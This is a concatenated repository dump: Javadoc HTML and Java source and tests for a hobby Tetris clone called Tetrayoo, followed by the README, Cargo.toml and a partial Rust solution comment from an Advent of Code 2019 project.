<td class="colFirst"><code><a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game">TType</a>[]</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getTetriminoPool()">getTetriminoPool</a></strong>()</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>int</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#getWidth()">getWidth</a></strong>()</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#hardDropActive(com.laughingmasq.tetrayoo.game.Collision)">hardDropActive</a></strong>(<a href="../../../../com/laughingmasq/tetrayoo/game/Collision.html" title="class in com.laughingmasq.tetrayoo.game">Collision</a> c)</code>
<div class="block">Drop the active tetrimino, making it hit something and lock up.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#isFull()">isFull</a></strong>()</code>
<div class="block">If the grid is full (in Tetris sense) and cannot expect any new tetrimino.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#isOccupied(int, int)">isOccupied</a></strong>(int x,
int y)</code>
<div class="block">If the given spot has a tetrimino block.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#lockActive()">lockActive</a></strong>()</code>
<div class="block">Locks the active tetrimino in use so that it cannot be moved further.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#lowerActive()">lowerActive</a></strong>()</code>
<div class="block">Lowers the active tetrimino, most likely used every tick.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#moveActiveLeft()">moveActiveLeft</a></strong>()</code>
<div class="block">Moves the active tetrimino, or multiple, to the left.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#moveActiveRight()">moveActiveRight</a></strong>()</code>
<div class="block">Moves the active tetrimino, or multiple, to the right.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#moveBlock(int, int, int, int)">moveBlock</a></strong>(int from_x,
int from_y,
int to_x,
int to_y)</code>
<div class="block">Moves a block from one point to another.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>abstract void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#rotateActive()">rotateActive</a></strong>()</code>
<div class="block">Rotates the active tetrimino.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#setHeight(int)">setHeight</a></strong>(int height)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>protected void</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#setWidth(int)">setWidth</a></strong>(int width)</code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>abstract boolean</code></td>
<td class="colLast"><code><strong><a href="../../../../com/laughingmasq/tetrayoo/game/Grid.html#spawnNewTetrimino()">spawnNewTetrimino</a></strong>()</code>
<div class="block">Spawns a new tetrimino to the playfield.</div>
</td>
</tr>
</table>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true" title="class or interface in java.lang">Object</a></h3>
<code><a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#clone()" title="class or interface in java.lang">clone</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#equals(java.lang.Object)" title="class or interface in java.lang">equals</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#finalize()" title="class or interface in java.lang">finalize</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#getClass()" title="class or interface in java.lang">getClass</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#hashCode()" title="class or interface in java.lang">hashCode</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#notify()" title="class or interface in java.lang">notify</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#notifyAll()" title="class or interface in java.lang">notifyAll</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#toString()" title="class or interface in java.lang">toString</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#wait()" title="class or interface in java.lang">wait</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#wait(long)" title="class or interface in java.lang">wait</a>, <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/Object.html?is-external=true#wait(long, int)" title="class or interface in java.lang">wait</a></code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="Grid()">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>Grid</h4>
<pre>public Grid()</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="getGridMap()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getGridMap</h4>
<pre>public <a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game">TType</a>[][] getGridMap()</pre>
<div class="block">For convenience the grid returns a reference to its gridMap.
This however isn't safe in any way (thread or otherwise) and
should be overloaded in implementation.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>gridMap</dd></dl>
</li>
</ul>
<a name="getTetriminoPool()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getTetriminoPool</h4>
<pre>public <a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game">TType</a>[] getTetriminoPool()</pre>
</li>
</ul>
<a name="getWidth()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getWidth</h4>
<pre>public int getWidth()</pre>
</li>
</ul>
<a name="getHeight()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getHeight</h4>
<pre>public int getHeight()</pre>
</li>
</ul>
<a name="getDrawingWidth()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getDrawingWidth</h4>
<pre>public int getDrawingWidth()</pre>
</li>
</ul>
<a name="getDrawingHeight()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getDrawingHeight</h4>
<pre>public int getDrawingHeight()</pre>
</li>
</ul>
<a name="setWidth(int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setWidth</h4>
<pre>protected void setWidth(int width)</pre>
</li>
</ul>
<a name="setHeight(int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>setHeight</h4>
<pre>protected void setHeight(int height)</pre>
</li>
</ul>
<a name="clearGridMap()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>clearGridMap</h4>
<pre>public abstract void clearGridMap()</pre>
<div class="block">Sets all the blocks in a gridMap to empty.</div>
</li>
</ul>
<a name="getDrawableBlockMap()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getDrawableBlockMap</h4>
<pre>public abstract <a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game">TType</a>[][] getDrawableBlockMap()</pre>
<div class="block">Gets the area of the gridMap that should be drawn.
Most Tetris implementations use shadow rows at the top.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>A two dimensional TType array of the drawable area.</dd></dl>
</li>
</ul>
<a name="spawnNewTetrimino()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>spawnNewTetrimino</h4>
<pre>public abstract boolean spawnNewTetrimino()</pre>
<div class="block">Spawns a new tetrimino to the playfield.
No definition of where or how. True if successful, false if not!</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>True, False</dd></dl>
</li>
</ul>
<a name="lowerActive()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>lowerActive</h4>
<pre>public abstract void lowerActive()</pre>
<div class="block">Lowers the active tetrimino, most likely used every tick.</div>
</li>
</ul>
<a name="destroyFullRows()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>destroyFullRows</h4>
<pre>public abstract int destroyFullRows()</pre>
<div class="block">If the grid has full rows, should destroy them and drop remaining blocks
accordingly. Should be called whenever an active tetrimino is locked.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>Amount of rows destroyed</dd></dl>
</li>
</ul>
<a name="clearBlock(int, int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>clearBlock</h4>
<pre>public abstract void clearBlock(int x,
int y)</pre>
<div class="block">Clears a block at given coordinates.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>x</code> - X coordinate of the block.</dd><dd><code>y</code> - Y coordinate of the block.</dd></dl>
</li>
</ul>
<a name="moveBlock(int, int, int, int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>moveBlock</h4>
<pre>public abstract void moveBlock(int from_x,
int from_y,
int to_x,
int to_y)</pre>
<div class="block">Moves a block from one point to another. Essentially copy and clear.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>from_x</code> - X coordinate of the block to be moved</dd><dd><code>from_y</code> - Y coordinate of the block to be moved</dd><dd><code>to_x</code> - Destination x coordinate.</dd><dd><code>to_y</code> - Destination y coordinate.</dd></dl>
</li>
</ul>
<a name="isFull()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isFull</h4>
<pre>public abstract boolean isFull()</pre>
<div class="block">If the grid is full (in Tetris sense) and cannot expect any new tetrimino.
Essentially if the game is over or not.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>True if grid is full, false otherwise</dd></dl>
</li>
</ul>
<a name="isOccupied(int, int)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>isOccupied</h4>
<pre>public abstract boolean isOccupied(int x,
int y)</pre>
<div class="block">If the given spot has a tetrimino block.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>x</code> - X coordinate</dd><dd><code>y</code> - Y coordinate</dd>
<dt><span class="strong">Returns:</span></dt><dd>True if block is used, false if empty</dd></dl>
</li>
</ul>
<a name="getActive()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>getActive</h4>
<pre>public abstract <a href="../../../../com/laughingmasq/tetrayoo/game/tetrimino/Tetrimino.html" title="class in com.laughingmasq.tetrayoo.game.tetrimino">Tetrimino</a> getActive()</pre>
<div class="block">Returns the current active tetrimino.
If grid uses multiple active tetrimino, it should call one or use a "super"
tetrimino that defines multiple tetrimino.</div>
<dl><dt><span class="strong">Returns:</span></dt><dd>Reference to the active tetrimino</dd></dl>
</li>
</ul>
<a name="lockActive()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>lockActive</h4>
<pre>public abstract void lockActive()</pre>
<div class="block">Locks the active tetrimino in use so that it cannot be moved further.</div>
</li>
</ul>
<a name="moveActiveLeft()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>moveActiveLeft</h4>
<pre>public abstract void moveActiveLeft()</pre>
<div class="block">Moves the active tetrimino, or multiple, to the left.</div>
</li>
</ul>
<a name="moveActiveRight()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>moveActiveRight</h4>
<pre>public abstract void moveActiveRight()</pre>
<div class="block">Moves the active tetrimino, or multiple, to the right.</div>
</li>
</ul>
<a name="rotateActive()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>rotateActive</h4>
<pre>public abstract void rotateActive()</pre>
<div class="block">Rotates the active tetrimino.</div>
</li>
</ul>
<a name="hardDropActive(com.laughingmasq.tetrayoo.game.Collision)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>hardDropActive</h4>
<pre>public abstract void hardDropActive(<a href="../../../../com/laughingmasq/tetrayoo/game/Collision.html" title="class in com.laughingmasq.tetrayoo.game">Collision</a> c)</pre>
<div class="block">Drop the active tetrimino, making it hit something and lock up.
Because grid itself doesn't hold a Collision class, it needs to borrow one.
A defect in design, should change.</div>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/Grid.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../index-all.html">Index</a></li>
<li><a href="../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../com/laughingmasq/tetrayoo/game/Gravity.html" title="class in com.laughingmasq.tetrayoo.game"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../com/laughingmasq/tetrayoo/game/TType.html" title="enum in com.laughingmasq.tetrayoo.game"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../index.html?com/laughingmasq/tetrayoo/game/Grid.html" target="_top">Frames</a></li>
<li><a href="Grid.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Copyright © 2013. All Rights Reserved.</small></p>
</body>
</html>
<file_sep>/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package com.laughingmasq.tetrayoo.game;
import com.laughingmasq.tetrayoo.game.tetrimino.Tetrimino;
import com.laughingmasq.tetrayoo.magics.MagicFactory;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import static org.junit.Assert.*;
/**
*
* @author schme
*/
public class TetriminoTest {
private MagicFactory mf = new MagicFactory();
private BagOfSeven classicBag = new BagOfSeven(mf.getClassicPool());
Tetrimino j;
Tetrimino o;
Tetrimino l;
Tetrimino s;
Tetrimino z;
Tetrimino t;
Tetrimino i;
public TetriminoTest() {
}
@BeforeClass
public static void setUpClass() {
}
@AfterClass
public static void tearDownClass() {
}
@Before
public void setUp() {
j = mf.getJTetrimino();
o = mf.getOTetrimino();
l = mf.getLTetrimino();
s = mf.getSTetrimino();
z = mf.getZTetrimino();
t = mf.getTTetrimino();
i = mf.getITetrimino();
}
@After
public void tearDown() {
}
@Test
public void tetriminoHasCorrectType() {
assertEquals(TType.J, j.getType());
assertEquals(TType.O, o.getType());
assertEquals(TType.L, l.getType());
assertEquals(TType.S, s.getType());
assertEquals(TType.Z, z.getType());
assertEquals(TType.T, t.getType());
assertEquals(TType.I, i.getType());
}
}
<file_sep>Tetrayoo
========
One more Tetris clone.
<file_sep>package com.laughingmasq.tetrayoo.gui;
/**
* Defines a class that can be updated.
* @author schme
*/
public interface Updateable {
public void update();
}
<file_sep>
package com.laughingmasq.tetrayoo.gui;
import com.laughingmasq.tetrayoo.Game;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
/**
* Input listened for Tetris.
* @author schme
*/
public class InputListener implements KeyListener {
Game game;
public InputListener(Game game) {
this.game = game;
}
public void keyPressed(KeyEvent ke) {
int key = ke.getKeyCode();
switch(key) {
case KeyEvent.VK_LEFT:
game.moveActiveTetrimino(-1);
break;
case KeyEvent.VK_RIGHT:
game.moveActiveTetrimino(1);
break;
case KeyEvent.VK_UP:
game.rotate();
break;
case KeyEvent.VK_DOWN:
game.hardDropActiveTetrimino();
break;
default: break;
}
}
public void keyTyped(KeyEvent ke) {
}
public void keyReleased(KeyEvent ke) {
}
}
<file_sep>
package com.laughingmasq.tetrayoo;
import com.laughingmasq.tetrayoo.game.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.Timer;
/**
* Tetris game class.
* Collects the used grid and collision classes, the main entry point for game-logic.
* Contains a timer for handling the pace of the game separate from the drawing timer.
* Almost a proxy-class but not quite.
* @author schme
*/
public class Game implements ActionListener {
private Grid grid;
private Timer timer;
private Collision collision;
private final int ROWS_PER_LEVEL = 10;
private int timerValue = 800;
private boolean winning = true;
private int score = 0;
private int level = 1;
private int ticks = 0;
private int rowsDestroyedThisLevel = 0;
public Game() {
this.grid = new ClassicGrid();
this.collision = new Collision();
this.timer = new Timer(timerValue, this);
timer.setInitialDelay(100);
timer.start();
}
/**
* Adds the score for amount of rows destroyed.
* Quite simple scoring schema, based only on the number of destroyed rows.
* Place your great score-algorithm here!
* @param rowsDestroyed
*/
private void scoreForRows(int rowsDestroyed) {
score += rowsDestroyed * level;
}
/**
* Adjust the timer after a level new level has been reached.
* the delay between each tick starts at 800 and is dropped each level
* by 40ms.
*/
private void adjustTimer() {
timerValue -= 40;
}
public int getGridDrawingWidth() {
return grid.getDrawingWidth();
}
public int getGridDrawingHeight() {
return grid.getDrawingHeight();
}
public TType[][] getDrawableGrid() {
return grid.getDrawableBlockMap();
}
/**
* Initialize the Tetris game, called before tick.
*/
public void start() {
grid.spawnNewTetrimino();
}
/**
* Rotate the active piece.
* Gets the piece from grid and calls its rotate() method.
*/
public void rotate() {
grid.rotateActive();
}
/**
* Does everything for each tick of the game.
*/
public void tick() {
ticks++;
if( grid.getActive() != null && // it has just been locked
collision.canFall(grid.getGridMap(), grid.getActive())) {
grid.lowerActive();
} else {
int destroyedRows = grid.destroyFullRows();
scoreForRows(destroyedRows);
rowsDestroyedThisLevel += destroyedRows;
if( rowsDestroyedThisLevel > 0 &&
rowsDestroyedThisLevel >= ROWS_PER_LEVEL) {
adjustTimer();
level++;
}
if(!grid.spawnNewTetrimino()) {
winning = false;
};
}
}
/**
* Called when player has lost.
* Stops the timer and prints the score and level to the console.
* The only way the user sees these at the moment.
*/
public void lose() {
timer.stop();
System.out.println("LOST");
System.out.printf("Score: %d\nLevel: %d\n", score, level);
}
/**
* Moves active tetrimino to a direction.
* @todo Change directions to eval and handle smarter. Never should
* if-statements be used like this.
*/
public void moveActiveTetrimino(int direction) {
if( direction < 0 && // Left
collision.canMoveLeft(grid.getGridMap(), grid.getActive())) {
grid.moveActiveLeft();
}
if( direction >= 0 && // Right
collision.canMoveRight(grid.getGridMap(), grid.getActive())) {
grid.moveActiveRight();
}
}
/**
* Hard drop the active tetrimino, finding the first landing spot and
* locking there.
*/
public void hardDropActiveTetrimino() {
grid.hardDropActive( collision );
grid.lockActive();
}
public void actionPerformed(ActionEvent ae) {
if( ae == null) { return; }
if( winning) {
tick();
} else {
lose();
}
}
}
<file_sep>
package com.laughingmasq.tetrayoo.game;
import com.laughingmasq.tetrayoo.game.tetrimino.Tetrimino;
import java.util.ArrayList;
import java.util.List;
/**
* Classic grid for classic Tetris.
* The classic grid version of Tetris. This combined with classic themes and
* classic gravity make it close to the original Tetris.
* @author schme
*/
public class ClassicGrid extends Grid {
/* Width. Should use super classes width instead. Same with Height. */
private final int WIDTH = 10;
private final int HEIGHT = 22;
/** Gravity class is used for dropping blocks after a row has been destroyed */
private Gravity classicGravity;
/** An instance of the random tetrimino creator */
private BagOfSeven bag;
/* See Grid */
private TType[][] blockMap = new TType[WIDTH][HEIGHT];
private Tetrimino activeTetrimino = null;
private final TType[] tetriminoPool = {TType.I, TType.J, TType.L, TType.O,
TType.S, TType.T, TType.Z };
/**
* ClassicGrid.
* In addition to what grid defines, it holds a gravity object and a bag
* from which we summon our new tetrimino.
*/
public ClassicGrid() {
setWidth(WIDTH);
setHeight(HEIGHT);
classicGravity = new ClassicGravity(this);
bag = new BagOfSeven(tetriminoPool);
clearGridMap();
}
/**
* If the given coordinate is inside the grid. Used mainly for boundary checking.
* @param x X coordinate
* @param y Y coordinate
* @return True if on the grid, false otherwise
*/
private boolean coordOnGrid(int x, int y) {
if( x < 0 || x >= WIDTH ||
y < 0 || y >= HEIGHT) {
return false;
}
return true;
}
/**
* Sets the given tetrimino to the spawn position.
* @param t Tetrimino to spawn.
*/
private void centerTopTetrimino(Tetrimino t) {
t.setX((int)(WIDTH/2 - t.getBlockMapSize()/2));
t.setY(0);
}
/**
* Empties the blocks of a tetrimino from the grid.
* Mainly used for moving.
* @param t Tetrimino to clear
*/
private void clearTetrimino(Tetrimino t) {
if( t == null) { return; }
for( int[] coord : t.getBlockCoordinates()) {
clearBlock(coord[0], coord[1]);
}
}
/**
* Finds a full row from the grid, starting from bottom and iterates
* towards the top.
* @return Y coordinate of the full row.
*/
private int fullRow() {
for(int y=blockMap[0].length-1; y >= 0; y--) {
boolean full = true;
for( int x=0; x < blockMap.length; x++) {
if( blockMap[x][y] == null) {
full = false;
}
}
if( full ) { return y; }
}
return -1;
}
/**
* Put the Tetrimino blocks on the grid.
* Requests the coordinates of its blocks from the tetrimino object
* and places them on the blockMap.
* @param t Tetrimino to map
*/
private void mapTetrimino(Tetrimino t) {
if( t == null) return;
for( int[] coord : t.getBlockCoordinates()) {
blockMap[coord[0]][coord[1]] = t.getType();
}
}
/**
* Due to bad handling of coordinates, this method is needed.
* It checks if the coordinates are same and excludes accordingly.
* @param coordinates
* @param exclude
*/
private List<int[]> exclude(List<int[]> coordinates, List<int[]> toExclude) {
List<int[]> newCoords = new ArrayList<int[]>();
if( coordinates == null) {
return newCoords;
}
if( toExclude == null || toExclude.isEmpty()) {
return coordinates;
}
for( int[] coord : coordinates) {
boolean exclude = false;
for( int[] excluded : toExclude) {
if( excluded[0] != coord[0] ||
excluded[1] != coord[1]) {
} else {
exclude = true;
}
}
if( !exclude) { newCoords.add(coord); }
}
return newCoords;
}
/**
* Checks if the given coordination is occupied.
* Off the grid IS consider occupied!
* @param x
* @param y
* @return True, False
*/
public boolean isOccupied(int x, int y) {
if( coordOnGrid(x, y)) {
return ((blockMap[x][y] == null) ? false : true);
}
return true;
}
/**
* Checks if coordinates are occupied
* @param coordinates A list of int arrays
* @return True if any given coordinate is occupied
*/
public boolean isOccupied(List<int[]> coordinates) {
for( int[] coord : coordinates) {
if( isOccupied(coord[0], coord[1])) { return true; }
}
return false;
}
/**
* Checks if coordinates are occupied, excluding the given Tetrimino.
* @param coordinates
* @param excluded
* @return True, False
*/
public boolean isOccupied(List<int[]> coordinates, Tetrimino excluded) {
if( excluded == null) {
return isOccupied(coordinates);
}
return isOccupied(exclude(coordinates, excluded.getBlockCoordinates()));
}
/**
* getActive
* @return The non-locked tetrimino
*/
public Tetrimino getActive() {
return activeTetrimino;
}
/**
* Gets a map of the grid without the two topmost rows.
* The two top rows (index 0 and 1) are used by the game, but they are not
* shown.
* @return drawable area of the grid
* @see Grid
*/
@Override
public TType[][] getDrawableBlockMap() {
TType[][] drawableMap = new TType[WIDTH][HEIGHT-2];
for( int i=0; i < WIDTH; i++) {
System.arraycopy(blockMap[i], 2, drawableMap[i], 0, blockMap[i].length-2);
}
return drawableMap;
}
/**
* getGridMap()
* @return reference to the grids blockMap array
*/
@Override
public TType[][] getGridMap() {
return blockMap;
}
/**
* Spawns a new activeTetrimino at the top of the grid.
* @see Grid
*/
@Override
public boolean spawnNewTetrimino() {
Tetrimino newT = bag.getNew();
centerTopTetrimino(newT);
activeTetrimino = newT;
if( isOccupied(newT.getBlockCoordinates())) {
return false;
}
mapTetrimino(newT);
return true;
}
/**
* Lowers the active tetrimino by one block. Used at the games tick().
* Includes clearing it from the grid, moving it and re-mapping.
* @see Grid
*/
@Override
public void lowerActive() {
clearTetrimino(activeTetrimino);
activeTetrimino.moveDown();
mapTetrimino(activeTetrimino);
}
/**
* Finds full rows, destroys them and adjusts other blocks accordingly.
* @see Grid
*/
@Override
public int destroyFullRows() {
int rowsDestroyed = 0;
while( fullRow() >= 0) {
rowsDestroyed++;
int fullRow = fullRow();
for(int x=0; x < blockMap.length; x++) {
clearBlock(x, fullRow);
}
classicGravity.dropAfterRowDestroyed(fullRow);
}
return rowsDestroyed;
}
/**
* Fills the blockMap with nulls. Effectively clearing it.
* @see Grid
*/
@Override
public void clearGridMap() {
for(int i=0; i < WIDTH; i++) {
for(int j=0; j < HEIGHT; j++) {
blockMap[i][j] = null;
}
}
}
/**
* If a tetrimino wouldn't be able to spawn on the grid, it's full.
* @return True if full, false if not
* @see Grid
*/
@Override
public boolean isFull() {
return false;
}
/**
* Clears a given block by setting it to null.
* @param x
* @param y
* @see Grid
*/
@Override
public void clearBlock(int x, int y) {
blockMap[x][y] = null;
}
/**
* Moves a given block. Copies the old to the new and puts null to the old.
* @param from_x
* @param from_y
* @param to_x
* @param to_y
* @see Grid
*/
@Override
public void moveBlock(int from_x, int from_y, int to_x, int to_y) {
blockMap[to_x][to_y] = blockMap[from_x][from_y];
clearBlock(from_x, from_y);
}
/**
* Locks the active tetrimino.
* Sets activeTetriminos value to null.
*/
@Override
public void lockActive() {
activeTetrimino = null;
}
/**
* Moves the active tetrimino to left.
* Clears the tetrimino from the grid, moves it to left and maps it again
* at the new location.
* @see Grid
*/
@Override
public void moveActiveLeft() {
clearTetrimino(activeTetrimino);
activeTetrimino.moveLeft();
mapTetrimino(activeTetrimino);
}
/**
* Moves the active tetrimino to right.
* Clears the tetrimino from the grid, moves it to right and maps it again
* at the new location.
* @see Grid
*/
@Override
public void moveActiveRight() {
clearTetrimino(activeTetrimino);
activeTetrimino.moveRight();
mapTetrimino(activeTetrimino);
}
/**
* Rotates the active tetrimino with its rotation method, if possible.
* @see Tetrimino
*/
@Override
public void rotateActive() {
if(! isOccupied(activeTetrimino.getRotateCoordinates(), activeTetrimino)) {
clearTetrimino(activeTetrimino);
activeTetrimino.rotate();
mapTetrimino(activeTetrimino);
}
}
/**
* Drops the active tetrimino.
* First the tetrimino is cleared. Then a drop point is calculated
* and the piece is mapped there, locking it up immediately.
*/
@Override
public void hardDropActive( Collision c) {
clearTetrimino(activeTetrimino);
while( c.canFall(blockMap, activeTetrimino)) {
activeTetrimino.moveDown();
}
mapTetrimino(activeTetrimino);
lockActive();
}
}<file_sep>package com.laughingmasq.tetrayoo;
/**
* @author schme
*/
public class Main {
public static void main(String[] args) {
System.out.println("Construction site. Authorized personnel only!");
new Tetrayoo().run();
}
}
| 10bf0c08a8ed43d474c32812ef1f164021d718b3 | [
"Markdown",
"Java",
"HTML"
] | 11 | Java | schme/Tetrayoo | 3c75ff9392c6f7ef89493883f45296b4ec6de9a9 | 4ec138cf8779d1edf00dbf1f7f49e74d6ffe9fbb |
refs/heads/master | <repo_name>haebou/advent_of_code_2019<file_sep>/README.md
# Advent of Code 2019
[Advent of Code 2019](https://adventofcode.com/2019/day/1)
Advent of Code, 2019, done in Rust as a personal introduction to the language. The solutions in this repository will likely be verbose, for the sake of clarity and for exploration of a new language.
## Installation
- Rust: https://www.rust-lang.org/tools/install
## Compiling & Running
Compilation is managed by Cargo.
In any Day's directory, run:
- `cargo build`
- `cargo run`
### Advent of Code Day # Rust Topics
- Day 1: printing, comments, functions, closures, file I/O, Iterators, Collections, Result, Option and unwrapping, ternary, Cargo and Cargo.toml, rustc<file_sep>/day_1/Cargo.toml
[package]
name = "day_1"
version = "0.1.0"
authors = ["Antonia <<EMAIL>>"]<file_sep>/day_1/src/main.rs
/*
* Advent of Code 2019 - Day 1
*
* --- Part One ---
* The Elves quickly load you into a spacecraft and prepare to launch.
*
* At the first Go / No Go poll, every Elf is Go until the Fuel Counter-Upper. They haven't determined the amount of
* fuel required yet.
* Fuel required to launch a given module is based on its mass. Specifically, to find the fuel required for a module,
* take its mass, divide by three, round down, and subtract 2.
*
* For example:
*
* For a mass of 12, divide by 3 and round down to get 4, then subtract 2 to get 2.
